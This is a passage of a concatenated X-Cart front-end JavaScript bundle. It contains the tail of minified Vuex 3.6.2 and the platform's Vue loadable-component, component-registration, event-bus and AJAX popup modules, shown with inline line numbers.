t.getters[r]},enumerable:!0})}})),t._makeLocalGettersCache[e]=n}return t._makeLocalGettersCache[e]}(t,e)}},state:{get:function(){return d(t.state,n)}}}),r}(t,a,n);o.forEachMutation((function(e,n){!function(t,e,n,o){(t._mutations[e]||(t._mutations[e]=[])).push((function(e){n.call(t,o.state,e)}))}(t,a+n,e,f)})),o.forEachAction((function(e,n){var o=e.root?n:a+n,r=e.handler||e;!function(t,e,n,o){(t._actions[e]||(t._actions[e]=[])).push((function(e){var r,i=n.call(t,{dispatch:o.dispatch,commit:o.commit,getters:o.getters,state:o.state,rootGetters:t.getters,rootState:t.state},e);return(r=i)&&"function"==typeof r.then||(i=Promise.resolve(i)),t._devtoolHook?i.catch((function(e){throw t._devtoolHook.emit("vuex:error",e),e})):i}))}(t,o,r,f)})),o.forEachGetter((function(e,n){!function(t,e,n,o){if(t._wrappedGetters[e])return;t._wrappedGetters[e]=function(t){return n(o.state,o.getters,t.state,t.getters)}}(t,a+n,e,f)})),o.forEachChild((function(o,i){p(t,e,n.concat(i),o,r)}))}function d(t,e){return e.reduce((function(t,e){return t[e]}),t)}function m(t,e,n){return o(t)&&t.type&&(n=e,e=t,t=t.type),{type:t,payload:e,options:n}}function v(t){c&&t===c||function(t){if(Number(t.version.split(".")[0])>=2)t.mixin({beforeCreate:n});else{var e=t.prototype._init;t.prototype._init=function(t){void 0===t&&(t={}),t.init=t.init?[n].concat(t.init):n,e.call(this,t)}}function n(){var t=this.$options;t.store?this.$store="function"==typeof t.store?t.store():t.store:t.parent&&t.parent.$store&&(this.$store=t.parent.$store)}}(c=t)}u.state.get=function(){return this._vm._data.$$state},u.state.set=function(t){},s.prototype.commit=function(t,e,n){var o=this,r=m(t,e,n),i=r.type,c=r.payload,a={type:i,payload:c},s=this._mutations[i];s&&(this._withCommit((function(){s.forEach((function(t){t(c)}))})),this._subscribers.slice().forEach((function(t){return t(a,o.state)})))},s.prototype.dispatch=function(t,e){var n=this,o=m(t,e),r=o.type,i=o.payload,c={type:r,payload:i},a=this._actions[r];if(a){try{this._actionSubscribers.slice().filter((function(t){return t.before})).forEach((function(t){return t.before(c,n.state)}))}catch(t){}var s=a.length>1?Promise.all(a.map((function(t){return t(i)}))):a[0](i);return new Promise((function(t,e){s.then((function(e){try{n._actionSubscribers.filter((function(t){return t.after})).forEach((function(t){return t.after(c,n.state)}))}catch(t){}t(e)}),(function(t){try{n._actionSubscribers.filter((function(t){return t.error})).forEach((function(e){return e.error(c,n.state,t)}))}catch(t){}e(t)}))}))}},s.prototype.subscribe=function(t,e){return f(t,this._subscribers,e)},s.prototype.subscribeAction=function(t,e){return f("function"==typeof t?{before:t}:t,this._actionSubscribers,e)},s.prototype.watch=function(t,e,n){var o=this;return this._watcherVM.$watch((function(){return t(o.state,o.getters)}),e,n)},s.prototype.replaceState=function(t){var e=this;this._withCommit((function(){e._vm._data.$$state=t}))},s.prototype.registerModule=function(t,e,n){void 0===n&&(n={}),"string"==typeof t&&(t=[t]),this._modules.register(t,e),p(this,this.state,t,this._modules.get(t),n.preserveState),h(this,this.state)},s.prototype.unregisterModule=function(t){var e=this;"string"==typeof t&&(t=[t]),this._modules.unregister(t),this._withCommit((function(){var n=d(e.state,t.slice(0,-1));c.delete(n,t[t.length-1])})),l(this)},s.prototype.hasModule=function(t){return"string"==typeof t&&(t=[t]),this._modules.isRegistered(t)},s.prototype.hotUpdate=function(t){this._modules.update(t),l(this,!0)},s.prototype._withCommit=function(t){var e=this._committing;this._committing=!0,t(),this._committing=e},Object.defineProperties(s.prototype,u);var g=M((function(t,e){var n={};return w(e).forEach((function(e){var o=e.key,r=e.val;n[o]=function(){var e=this.$store.state,n=this.$store.getters;if(t){var o=$(this.$store,"mapState",t);if(!o)return;e=o.context.state,n=o.context.getters}return"function"==typeof r?r.call(this,e,n):e[r]},n[o].vuex=!0})),n})),y=M((function(t,e){var n={};return w(e).forEach((function(e){var o=e.key,r=e.val;n[o]=function(){for(var e=[],n=arguments.length;n--;)e[n]=arguments[n];var o=this.$store.commit;if(t){var i=$(this.$store,"mapMutations",t);if(!i)return;o=i.context.commit}return"function"==typeof r?r.apply(this,[o].concat(e)):o.apply(this.$store,[r].concat(e))}})),n})),_=M((function(t,e){var n={};return w(e).forEach((function(e){var o=e.key,r=e.val;r=t+r,n[o]=function(){if(!t||$(this.$store,"mapGetters",t))return this.$store.getters[r]},n[o].vuex=!0})),n})),b=M((function(t,e){var n={};return w(e).forEach((function(e){var o=e.key,r=e.val;n[o]=function(){for(var e=[],n=arguments.length;n--;)e[n]=arguments[n];var o=this.$store.dispatch;if(t){var i=$(this.$store,"mapActions",t);if(!i)return;o=i.context.dispatch}return"function"==typeof r?r.apply(this,[o].concat(e)):o.apply(this.$store,[r].concat(e))}})),n}));function w(t){return function(t){return Array.isArray(t)||o(t)}(t)?Array.isArray(t)?t.map((function(t){return{key:t,val:t}})):Object.keys(t).map((function(e){return{key:e,val:t[e]}})):[]}function M(t){return function(e,n){return"string"!=typeof e?(n=e,e=""):"/"!==e.charAt(e.length-1)&&(e+="/"),t(e,n)}}function $(t,e,n){return t._modulesNamespaceMap[n]}function C(t,e,n){var o=n?t.groupCollapsed:t.group;try{o.call(t,e)}catch(n){t.log(e)}}function E(t){try{t.groupEnd()}catch(e){t.log("ââ log end ââ")}}function O(){var t=new Date;return" @ "+j(t.getHours(),2)+":"+j(t.getMinutes(),2)+":"+j(t.getSeconds(),2)+"."+j(t.getMilliseconds(),3)}function j(t,e){return n="0",o=e-t.toString().length,new Array(o+1).join(n)+t;var n,o}return{Store:s,install:v,version:"3.6.2",mapState:g,mapMutations:y,mapGetters:_,mapActions:b,createNamespacedHelpers:function(t){return{mapState:g.bind(null,t),mapGetters:_.bind(null,t),mapMutations:y.bind(null,t),mapActions:b.bind(null,t)}},createLogger:function(t){void 0===t&&(t={});var n=t.collapsed;void 0===n&&(n=!0);var o=t.filter;void 0===o&&(o=function(t,e,n){return!0});var r=t.transformer;void 0===r&&(r=function(t){return t});var i=t.mutationTransformer;void 0===i&&(i=function(t){return t});var c=t.actionFilter;void 0===c&&(c=function(t,e){return!0});var a=t.actionTransformer;void 0===a&&(a=function(t){return t});var s=t.logMutations;void 0===s&&(s=!0);var u=t.logActions;void 0===u&&(u=!0);var f=t.logger;return void 0===f&&(f=console),function(t){var l=e(t.state);void 0!==f&&(s&&t.subscribe((function(t,c){var a=e(c);if(o(t,l,a)){var s=O(),u=i(t),h="mutation "+t.type+s;C(f,h,n),f.log("%c prev state","color: #9E9E9E; font-weight: bold",r(l)),f.log("%c mutation","color: #03A9F4; font-weight: bold",u),f.log("%c next state","color: #4CAF50; font-weight: bold",r(a)),E(f)}l=a})),u&&t.subscribeAction((function(t,e){if(c(t,e)){var o=O(),r=a(t),i="action "+t.type+o;C(f,i,n),f.log("%c action","color: #03A9F4; font-weight: bold",r),E(f)}})))}}}}));; 6677/* AUTOGENERATED: vue.loadable.js */ 6678(function () { 6679 var initialCompiled = false;
6680 6681 var cache = {}; 6682 6683 var VueLoadableMixin = { 6684 created: function () { 6685 // TODO: This code is unreliable since it's not a part of the public API 6686 Vue.util.defineReactive(this, '$reloading', false); 6687 }, 6688 6689 beforeMount: function () { 6690 if (this.$options.loadable && this.$options.loadable.loadOnCompile && !initialCompiled) { 6691 this.$reload(); 6692 initialCompiled = true; 6693 } 6694 }, 6695 6696 methods: { 6697 $reload: function () { 6698 var loader = this.$options.loadable.loader; 6699 6700 if (loader) { 6701 this.$reloading = true; 6702 var promise; 6703 6704 if (this.$options.loadable.cacheSimultaneous) { 6705 if (!_.has(cache, this._getCacheKey())) { 6706 cache[this._getCacheKey()] = loader.call(this, arguments); 6707 } 6708 promise = cache[this._getCacheKey()]; 6709 } else { 6710 promise = loader.call(this, arguments); 6711 } 6712 6713 if (promise && typeof promise.then === 'function') { 6714 promise.then(this._resolve, this._reject); 6715 } 6716 } 6717 }, 6718 6719 _getCacheKey: function() { 6720 return _.isFunction(this.$options.loadable.cacheKey) 6721 ? this.$options.loadable.cacheKey.apply(this) 6722 : this.$options.name; 6723 }, 6724 6725 _resolve: function (data) { 6726 var uuid = _.uniqueId(); 6727 var self = this; 6728 6729 xcart.bind(['resources.ready', 'resources.empty'], _.bind( 6730 function (event, args) { 6731 if (args.uuid === uuid) { 6732 if (this.$options.loadable.transferState) { 6733 var oldData = JSON.parse(JSON.stringify(this.$data)); 6734 } 6735 6736 if (this.$options.loadable.update !== false) { 6737 this._updateComponent(data); 6738 } 6739 6740 if (this.$options.loadable.transferState) { 6741 // TODO: doesn't work 6742 this.$data = oldData; 6743 } 6744 6745 this.$reloading = false; 6746 6747 if ('function' === typeof(this.$options.loadable.resolve)) { 6748 this.$options.loadable.resolve.apply(this, [data]); 6749 } 6750 6751 delete cache[this._getCacheKey()]; 6752 } 6753 }, 6754 this) 6755 ); 6756 6757 xcart.parsePreloadedLabels(data, uuid); 6758 xcart.parseResources(data, uuid); 6759 }, 6760 6761 _reject: function (data) { 6762 this.$reloading = false; 6763 if ('function' === typeof(this.$options.loadable.reject)) { 6764 this.$options.loadable.reject.apply(this, [data]); 6765 } 6766 6767 delete cache[this._getCacheKey()]; 6768 }, 6769 6770 _updateComponent: function (html) { 6771 var element = this._parseTemplate(html); 6772 // Disable optimization to avoid static roots are not refreshing 6773 this.$options.render = Vue.compile(element.outerHTML, {optimize: false}).render; 6774 6775 var update = typeof(this.$options.loadable.update) === 'function' 6776 ? this.$options.loadable.update(this) 6777 : this.$options.loadable.update; 6778 6779 // Force "initial render" instead of old vnode update (see Vue.prototype._update implementation) 6780 if (update === true) { 6781 this._vnode = null; 6782 } 6783 6784 this._update(this._render(), false); 6785 }, 6786 6787 _parseTemplate: function (html) { 6788 var element; 6789 6790 if (this.$options.loadable.parser) { 6791 element = this.$options.loadable.parser.apply(this, [html]); 6792 } else { 6793 var temp = document.createElement('div'); 6794 temp.innerHTML = html; 6795 6796 element = temp.querySelector('[is=' + this.$options._componentTag + '] > *'); 6797 if (!element) { 6798 element = temp.querySelector(this.$options._componentTag + ' > *'); 6799 } 6800 } 6801 6802 return element; 6803 } 6804 } 6805 } 6806 6807 if (typeof exports === 'object' && typeof module === 'object') { 6808 module.exports = VueLoadableMixin 6809 } else if(typeof define === 'function' && define.amd) { 6810 define(function () { return VueLoadableMixin }) 6811 } else if (typeof window !== 'undefined') { 6812 window.VueLoadableMixin = VueLoadableMixin 6813 } 6814})(); 6815 6816define('vue/vue.loadable', function () { return VueLoadableMixin; });; 6817/* AUTOGENERATED: vue.registerComponent.js */ 6818(function () { 6819 function install (Vue) { 6820 Vue.registerComponent = function (parent, child, name) { 6821 name = name || child.options.name; 6822 if (typeof(parent) === 'function' && typeof(child) === 'function') { 6823 var record = {}; 6824 record[name] = child; 6825 parent = parent.extend({ 6826 components: _.extend(parent.options.components, record) 6827 }); 6828 } else { 6829 console.groupCollapsed("[vue.registerComponent] error");
6830 console.error('Given argument is not a object constructor'); 6831 console.error(arguments); 6832 console.groupEnd(); 6833 } 6834 } 6835 } 6836 6837 if (typeof exports == "object") { 6838 module.exports = install 6839 } else if (typeof define == "function" && define.amd) { 6840 define([], function(){ return install }) 6841 } else if (window.Vue) { 6842 Vue.use(install) 6843 } 6844})();; 6845/* AUTOGENERATED: vue.js */ 6846/* vim: set ts=2 sw=2 sts=2 et: */ 6847 6848/** 6849 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6850 * See https://www.x-cart.com/license-agreement.html for license details. 6851 */ 6852 6853define('vue/vue', function () { return Vue; }); 6854 6855if ('undefined' !== typeof(Vuex)) { 6856 Vue.use(Vuex); 6857 define('vue/vuex', function () { return Vuex; }); 6858} 6859 6860define('js/vue/vue', ['vue/vue', 'vue/eventbus', 'js/vue/component'], function (Vue, EventBus, XLiteVueComponent) { 6861 Vue.getClosestVueInstance = function (el) { 6862 var _getClosestVueInstance = function (element) { 6863 if (element) { 6864 return element.__vue__ || _getClosestVueInstance(element.parentElement); 6865 } 6866 } 6867 6868 return _getClosestVueInstance(el); 6869 }; 6870 6871 Vue.directive('data', { 6872 inserted: function (el, binding) { 6873 var vm = Vue.getClosestVueInstance(el); 6874 6875 if (!vm) { 6876 return; 6877 } 6878 6879 var object = binding.value; 6880 for (var key in object) { 6881 var parts = key.replace('[','.').replace(']','').split('.'); 6882 var path = ''; 6883 6884 parts.forEach(function (part) { 6885 if (path) { 6886 path = isNaN(part)
6887 ? path.concat('.' + part) 6888 : path.concat('[' + part + ']'); 6889 } else { 6890 path = part; 6891 } 6892 6893 // TODO: doesn't work since we don't have this/self and $get method anymore 6894 /*if (_.isUndefined(self.vm.$get(path))) { 6895 self.vm.$set(path, {}); 6896 }*/ 6897 }); 6898 6899 if (vm[key] !== undefined) { 6900 vm[key] = object[key]; 6901 } 6902 } 6903 }, 6904 6905 // for loadable components only 6906 update: function (el, binding) { 6907 var vm = Vue.getClosestVueInstance(el); 6908 6909 if (!vm || vm.$options.loadable === undefined) { 6910 return; 6911 } 6912 6913 var object = binding.value; 6914 for (var key in object) { 6915 if (vm.$options.loadable.ignoreUpdates && _.contains(vm.$options.loadable.ignoreUpdates, key)) { 6916 continue; 6917 } 6918 6919 if (vm[key] !== undefined && !_.isEqual(vm[key], object[key])) { 6920 vm[key] = object[key]; 6921 } 6922 } 6923 } 6924 }); 6925 6926 function XLiteVue() { 6927 this.root = null; 6928 } 6929 6930 XLiteVue.prototype.components = {}; 6931 6932 XLiteVue.prototype.start = function (element) { 6933 for (var componentName in this.components) if (this.components.hasOwnProperty(componentName)) { 6934 Vue.component(componentName, this.components[componentName].definition) 6935 } 6936 6937 if (_.isEmpty(this.components)) { 6938 return; 6939 } 6940 6941 var elementToInit = element || '#page-wrapper'; 6942 6943 if (element instanceof jQuery && element.length > 0) { 6944 elementToInit = element.get(0); 6945 } 6946 6947 this.root = new Vue({el: elementToInit}); 6948 6949 Vue.nextTick(function () { 6950 typeof CommonForm !== 'undefined' && CommonForm.autoload(); 6951 typeof StickyPanel !== 'undefined' && StickyPanel.reload(); 6952 xcart.microhandlers.runInitial(); 6953 }); 6954 }; 6955 6956 XLiteVue.prototype.component = function (name, definition) { 6957 if (this.components[name]) { 6958 this.components[name].extend(definition); 6959 } else { 6960 this.components[name] = new XLiteVueComponent(name, definition); 6961 } 6962 6963 return this.components[name].definition; 6964 }; 6965 6966 Vue.prototype.$dispatch = function (event) { 6967 EventBus.$emit.apply(EventBus, arguments); 6968 }; 6969 6970 Vue.prototype.$broadcast = function (event) { 6971 EventBus.$emit.apply(EventBus, arguments); 6972 }; 6973 6974 Vue.mixin({ 6975 created: function () { 6976 if (typeof this.$options.events !== 'undefined') { 6977 var self = this; 6978 for (var eventName in this.$options.events) { 6979 if (this.$options.events.hasOwnProperty(eventName)) { 6980 (function (_eventName) { 6981 EventBus.$on(_eventName, _.bind(function () { 6982 this.$options.events[_eventName].apply(this, arguments); 6983 }, self)); 6984 })(eventName); 6985 } 6986 } 6987 } 6988 }, 6989 6990 mounted: function () { 6991 if (typeof this.$options.ready !== 'undefined') { 6992 this.$nextTick(function () { 6993 this.$options.ready.call(this); 6994 }); 6995 } 6996 }, 6997 }) 6998 6999 return new XLiteVue(); 7000}); 7001 7002jQuery(document).ready(function () { 7003 define('xlite_vue_model_start', ['js/vue/vue', 'ready'], function (XLiteVue) { 7004 if ('admin' === xliteConfig.zone) { 7005 XLiteVue.start(); 7006 } 7007 }); 7008});; 7009/* AUTOGENERATED: component.js */ 7010/* vim: set ts=2 sw=2 sts=2 et: */ 7011 7012/** 7013 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 7014 * See https://www.x-cart.com/license-agreement.html for license details. 7015 */ 7016 7017define('js/vue/component', ['js/underscore', 'vue/vue'], function (_, Vue) { 7018 7019 var XLiteVueComponent = function (name, definition) { 7020 this.name = name; 7021 this.definition = Vue.extend(definition); 7022 }; 7023 7024 XLiteVueComponent.prototype.extend = function (definition) { 7025 this.definition = this.definition.extend(definition); 7026 this._provideParentMethods(); 7027 }; 7028 7029 XLiteVueComponent.prototype._provideParentMethods = function () { 7030 var methods = this.definition.options.methods; 7031 var parent = this.definition.super.options.methods; 7032 7033 for (var methodName in methods) if ('undefined' === typeof(methods.hasOwnProperty) || methods.hasOwnProperty(methodName)) { 7034 if (parent[methodName]) { 7035 methods[methodName].parent = parent[methodName]; 7036 } 7037 } 7038 }; 7039 7040 return XLiteVueComponent; 7041});;
7042/* AUTOGENERATED: event_bus.js */ 7043/* vim: set ts=2 sw=2 sts=2 et: */ 7044 7045/** 7046 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 7047 * See https://www.x-cart.com/license-agreement.html for license details. 7048 */ 7049 7050define('vue/eventbus', ['vue/vue'], function (Vue) { 7051 return new Vue(); 7052});; 7053/* AUTOGENERATED: xcart.popup.js */ 7054/* vim: set ts=2 sw=2 sts=2 et: */ 7055 7056/** 7057 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 7058 * See https://www.x-cart.com/license-agreement.html for license details. 7059 */ 7060 7061var popup = {}; 7062 7063/** 7064 * Properties 7065 */ 7066 7067// Loading status 7068popup.isLoading = false; 7069 7070// Request type status - POST or GET 7071popup.isPostRequest = false; 7072 7073// Current unblock event handler 7074popup.currentUnblockCallback = null; 7075 7076// Current popup 7077popup.currentPopup = null; 7078 7079// Load options 7080popup.loadOptions = null; 7081 7082// Do not do real close popup in popup.close() 7083// popup.pseudoClose = false; 7084 7085/** 7086 * Methods 7087 */ 7088 7089// Load data to popup 7090popup.load = function(url, unblockCallback, timeout) 7091{ 7092 if (_.isObject(unblockCallback) && !_.isFunction(unblockCallback)) { 7093 var options = unblockCallback; 7094 options.unblockCallback = 'undefined' == typeof(options.unblockCallback) ? null : options.unblockCallback; 7095 options.timeout = timeout || null; 7096 7097 } else { 7098 var options = { 7099 'unblockCallback': unblockCallback, 7100 'timeout': timeout 7101 }; 7102 } 7103 7104 this.loadOptions = options; 7105 7106 var result = false;
7107 if (xcart.isRequesterEnabled) { 7108 var method = null; 7109 7110 if (_.isObject(url) && !_.isElement(url)) { 7111 url = url.get(0); 7112 } 7113 7114 if (url.constructor == String) { 7115 method = 'loadByURL'; 7116 7117 } else if (url.constructor == HTMLFormElement) { 7118 method = 'loadByForm'; 7119 7120 } else if (url.constructor == HTMLAnchorElement) { 7121 method = 'loadByLink'; 7122 7123 } else if (url.constructor == HTMLButtonElement) { 7124 method = 'loadByButton'; 7125 7126 } 7127 7128 if (method) { 7129 this.isLoading = true; 7130 this.currentUnblockCallback = options.unblockCallback; 7131 7132 if (this.currentPopup) { 7133 // Reload popup content only 7134 this.shade(); 7135 } else { 7136 // Open waiting dialog 7137 this.openAsWait(); 7138 } 7139 7140 this.isPostRequest = false; 7141 result = this[method](url, options.timeout); 7142 } 7143 } 7144 7145 return result; 7146}; 7147 7148// Load by URL 7149popup.loadByURL = function(url, timeout) 7150{ 7151 return xcart.get( 7152 this.preprocessURL(url), 7153 _.bind(this.postprocessRequest, this), 7154 null, 7155 { 7156 timeout: timeout 7157 } 7158 ); 7159}; 7160 7161// Load by form element 7162popup.loadByForm = function(form) 7163{ 7164 form = jQuery(form).get(0); 7165 7166 form.setAttribute('action', this.preprocessURL(form.getAttribute('action'))); 7167 7168 return form ? form.submitBackground(_.bind(this.postprocessRequest, this)) : false; 7169}; 7170 7171// Load by link element 7172popup.loadByLink = function(link) 7173{ 7174 link = jQuery(link).eq(0); 7175 7176 var href = (1 == link.length && link.attr('href')) ? link.attr('href') : false; 7177 7178 return href 7179 ? xcart.get(this.preprocessURL(href), _.bind(this.postprocessRequest, this)) 7180 : false; 7181}; 7182 7183// Load by button element 7184popup.loadByButton = function(button) 7185{ 7186 var result = false;
7187 7188 button = jQuery(button); 7189 7190 if (button.attr('onclick') && -1 !== button.attr('onclick').toString().search(/\.location[ ]*=[ ]*['"].+['"]/)) { 7191 7192 // By onclick attribute 7193 var m = button.attr('onclick').toString().match(/\.location[ ]*=[ ]*['"](.+)['"]/); 7194 result = xcart.get(this.preprocessURL(m[1]), _.bind(this.postprocessRequest, this)); 7195 7196 } else if (button.data('location')) { 7197 7198 // By kQuery data cell 7199 result = xcart.get(this.preprocessURL(button.data('location')), _.bind(this.postprocessRequest, this)); 7200 7201 } else if (0 < button.parents('form').length) { 7202 7203 // By button's form 7204 result = this.loadByForm(jQuery(button).parents('form').eq(0)); 7205 7206 } 7207 7208 return result; 7209}; 7210 7211// Preprocess URL 7212popup.preprocessURL = function(url) 7213{ 7214 if (url && -1 == url.search(/only_center=1/)) { 7215 url += (-1 == url.search(/\?/) ? '?' : '&') + 'only_center=1'; 7216 } 7217 7218 return url; 7219}; 7220 7221// Postprocess request 7222popup.postprocessRequest = function(XMLHttpRequest, textStatus, data, isValid) 7223{ 7224 if (XMLHttpRequest && XMLHttpRequest instanceof jQuery.Event && textStatus) { 7225 var event = XMLHttpRequest; 7226 XMLHttpRequest = textStatus.XMLHttpRequest; 7227 data = textStatus.data; 7228 isValid = textStatus.isValid; 7229 textStatus = textStatus.textStatus; 7230 } 7231 7232 var responseStatus = 4 == XMLHttpRequest.readyState ? parseInt(XMLHttpRequest.getResponseHeader('ajax-response-status')) : 0; 7233 7234 if (4 != XMLHttpRequest.readyState) { 7235 7236 // Connection failed 7237 this.destroy(); 7238 // TODO - add top message 7239 7240 } else if (278 == responseStatus) { 7241 7242 // Redirect 7243 this.destroy(); 7244 var url = XMLHttpRequest.getResponseHeader('AJAX-Location'); 7245 if (url) { 7246 self.location = url; 7247 7248 } else { 7249 self.location.reload(true); 7250 } 7251 7252 } else if (279 == responseStatus) { 7253 7254 // Internal redirect 7255 var url = XMLHttpRequest.getResponseHeader('AJAX-Location'); 7256 if (url) { 7257 this.load(url, this.currentUnblockCallback); 7258 7259 } else { 7260 self.location.reload(true); 7261 } 7262 7263 } else if (277 == responseStatus) { 7264 7265 // Close popup in silence 7266 this.close(); 7267 7268 } else if (200 == XMLHttpRequest.status) { 7269 7270 // Load new content 7271 this.unshade(); 7272 7273 var uuid = _.uniqueId(); 7274 7275 if (data) { 7276 xcart.bind(['resources.ready', 'resources.empty'], _.bind( 7277 function(event, args){ 7278 if (args.uuid === uuid) { 7279 this.place(data, this.loadOptions); 7280 xcart.trigger( 7281 'afterPopupPlace', 7282 { 7283 'XMLHttpRequest': XMLHttpRequest, 7284 'textStatus': textStatus, 7285 'data': data, 7286 'isValid': isValid 7287 } 7288 ); 7289 } 7290 }, 7291 this) 7292 ); 7293 7294 xcart.parsePreloadedLabels(jQuery.parseHTML(data), uuid); 7295 xcart.parseResources(jQuery.parseHTML(data), uuid); 7296 7297 } else { 7298 this.unfreezePopup(); 7299 } 7300 7301 } else { 7302 7303 // Loading failed 7304 this.close(); 7305 7306 } 7307}; 7308 7309// Place request data 7310popup.place = function(data, options) 7311{ 7312 this.isLoading = false; 7313 7314 if (false !== data) { 7315 data = this.extractRequestData(data); 7316 this.assignHandlers(data); 7317 this.open(data, options); 7318 } 7319}; 7320 7321// Extract widget data 7322popup.extractRequestData = function(data) 7323{ 7324 return jQuery(data); 7325}; 7326 7327popup.assignHandlers = function(data) 7328{ 7329 // Do not need this assignment since the microhandlers would be run after the popup placement 7330 // xcart.microhandlers.runAll(data); 7331}; 7332 7333popup.shade = function() 7334{ 7335 this.currentPopup.widget.find('.ui-dialog-content') 7336 .append('<div class="wait-overlay"><div class="wait-overlay-progress"><div></div></div></div>'); 7337}; 7338 7339popup.unshade = function() 7340{ 7341 if (this.currentPopup) { 7342 this.currentPopup.widget.find('.wait-overlay').remove(); 7343 } 7344}; 7345 7346// Popup post processing 7347popup.postprocess = function() 7348{ 7349 // If for some cases you need direct submit of the form (inside the popup widget) 7350 // then provide the form with the "no-popup-ajax-submit" CSS class 7351 this.currentPopup.widget 7352 .find('form') 7353 .not('.no-popup-ajax-submit') 7354 .commonController(
7355 'enableBackgroundSubmit', 7356 _.bind(this.freezePopup, this), 7357 _.bind(this.postprocessRequest, this) 7358 ); 7359 7360 xcart.microhandlers.runAll(this.currentPopup.widget); 7361 7362 if (!this.isLoading) { 7363 xcart.trigger('popup.postprocess', { widget: this }); 7364 } 7365}; 7366 7367// Freeze popup content 7368popup.freezePopup = function() 7369{ 7370 if (this.currentPopup) { 7371 this.currentPopup.widget.find('form').each( 7372 function() { 7373 jQuery('button,input:image,input:submit', this).each( 7374 function() { 7375 if (!this.disabled) { 7376 this.temporaryDisabled = true; 7377 jQuery(this).prop('disabled', 'disabled'); 7378 } 7379 } 7380 ); 7381 } 7382 ); 7383 7384 this.shade(); 7385 } 7386}; 7387 7388// Unfreeze popup content 7389popup.unfreezePopup = function() 7390{ 7391 if (this.currentPopup) { 7392 this.currentPopup.widget.find('form').each( 7393 function() { 7394 jQuery('button,input:image,input:submit', this).each( 7395 function() { 7396 if (this.temporaryDisabled) { 7397 jQuery(this).removeAttr('disabled'); 7398 this.temporaryDisabled = true; 7399 } 7400 } 7401 ); 7402 } 7403 ); 7404 } 7405}; 7406 7407// Open as wait box 7408popup.openAsWait = function() 7409{ 7410 this.isLoading = true; 7411 this.open(jQuery('<div data-dialog-class="block-wait-box"><div class="block-wait"><div></div></div></div>')); 7412}; 7413 7414// Open-n-display popup 7415popup.open = function(box, additionalOptions) 7416{ 7417 additionalOptions = additionalOptions || {}; 7418 7419 if (this.currentPopup) { 7420 this.destroy(); 7421 } 7422 7423 if (box && _.isString(box)) { 7424 box = jQuery('<div></div>') 7425 .html(box); 7426 } 7427 7428 box = jQuery(box); 7429 if (box.attr('title')) { 7430 box.data('title', box.attr('title')); 7431 additionalOptions.title = box.data('title'); 7432 7433 } else if (box.data('title')) { 7434 box.attr('title', box.data('title')); 7435 additionalOptions.title = box.data('title'); 7436 } 7437 7438 box.dialog( 7439 this.extendOptions(this.getPopupOptions(box), additionalOptions) 7440 ); 7441 7442 this.currentPopup = { 7443 'box': box, 7444 'widget': jQuery(box).dialog('widget') 7445 }; 7446 7447 7448 this.postprocess(); 7449 this.reposition(); 7450}; 7451 7452popup.getPopupOptions = function(box) 7453{ 7454 return { 7455 autoOpen: true, 7456 closeOnEscape: !box.data('dialog-no-close'), 7457 dialogClass: (box.data('dialog-class') ? box.data('dialog-class') : 'default-dialog') 7458 + ' ' + (box.attr('title') ? 'has-title' : 'no-title') + (box.data('dialog-no-close') ? ' no-close' : ''), 7459 draggable: false, 7460 height: 'auto', 7461 modal: (typeof(box.data('dialog-modal')) !== 'undefined' ? box.data('dialog-modal') : true), 7462 position: { my: "center", at: "center", of: window }, 7463 resizable: false, 7464 width: 'auto', 7465 minWidth: 300, 7466 minHeight: 150, 7467 7468 open: _.bind( 7469 function(event, ui) { 7470 jQuery('.overlay-blur-base').addClass('overlay-blur'); 7471 xcart.trigger('popup.open', { widget: this, event }); 7472 }, 7473 this 7474 ), 7475 close: _.bind( 7476 function(event, ui) { 7477 jQuery('.overlay-blur-base').removeClass('overlay-blur'); 7478 this.currentPopup.widget.find('form').each( 7479 function (index, elem) { 7480 jQuery(elem).validationEngine('hide'); 7481 } 7482 ); 7483 7484 this.close(event); 7485 }, 7486 this 7487 ), 7488 7489 beforeClose: _.bind(this.beforeClose, this) 7490 }; 7491}; 7492 7493popup.extendOptions = function(first, second) 7494{ 7495 _.each( 7496 ['dialogClass'], 7497 function (key) { 7498 if (_.isString(first[key]) && _.isString(second[key])) { 7499 first[key] += ' ' + second[key]; 7500 delete second[key]; 7501 } 7502 } 7503 ); 7504 7505 return _.extend(first, second); 7506}; 7507 7508// Reposition (center) popup 7509popup.reposition = function() 7510{ 7511 if (!this.currentPopup) { 7512 return; 7513 } 7514 7515 const box = this.currentPopup.box 7516 7517 if (box.length) { 7518 const self = this; 7519 setTimeout( 7520 function() { 7521 const widgetHeight = self.currentPopup.widget.outerHeight(true); 7522 const windowHeight = $(window).height(); 7523 7524 window.stickyElementsForPopup = { 7525 top: null, 7526 sizes: { 7527 top: 0, 7528 left: 0 7529 } 7530 }; 7531 7532 /** window.stickyElementsForPopup is expected to change in the event listeners. **/ 7533 window.dispatchEvent(new CustomEvent('updateStickyElementsForPopup')); 7534
7535 const atHorizontal = ("center+".concat(Math.round(window.stickyElementsForPopup.sizes.left / 2).toString())); 7536 7537 if (widgetHeight < windowHeight - window.stickyElementsForPopup.sizes.top) { 7538 const verticalShift = (" center+".concat(Math.round(window.stickyElementsForPopup.sizes.top / 2).toString())); 7539 try { 7540 box.dialog( 7541 "option", 7542 "position", 7543 { 7544 my: "center", 7545 at: atHorizontal.concat(verticalShift), 7546 of: window 7547 } 7548 ) 7549 } catch (e) {} 7550 } else if (window.stickyElementsForPopup.top) { 7551 try { 7552 box.dialog( 7553 "option", 7554 "position", 7555 { 7556 my: "top", 7557 at: atHorizontal.concat(" bottom"), 7558 of: window.stickyElementsForPopup.top 7559 } 7560 ) 7561 } catch (e) {} 7562 } else { 7563 try { 7564 box.dialog( 7565 "option", 7566 "position", 7567 { 7568 my: "top", 7569 at: "top", 7570 of: window, 7571 collision: "fit" 7572 } 7573 ) 7574 } catch (e) {} 7575 } 7576 }, 1 7577 ) 7578 } 7579}; 7580 7581// Destroy 7582popup.destroy = function() 7583{ 7584 if (this.currentPopup && this.currentPopup.box) { 7585 const box = this.currentPopup.box 7586 this.close() 7587 box.dialog('destroy') 7588 box.remove(); 7589 } 7590} 7591 7592 7593// Close popup 7594popup.close = function(event) 7595{ 7596 var box; 7597 if (this.currentPopup && this.currentPopup.box) { 7598 box = this.currentPopup.box; 7599 box.dialog('close'); 7600 7601 if (this.currentUnblockCallback && _.isFunction(this.currentUnblockCallback)) { 7602 this.currentUnblockCallback(); 7603 } 7604 } 7605 7606 this.currentUnblockCallback = null; 7607 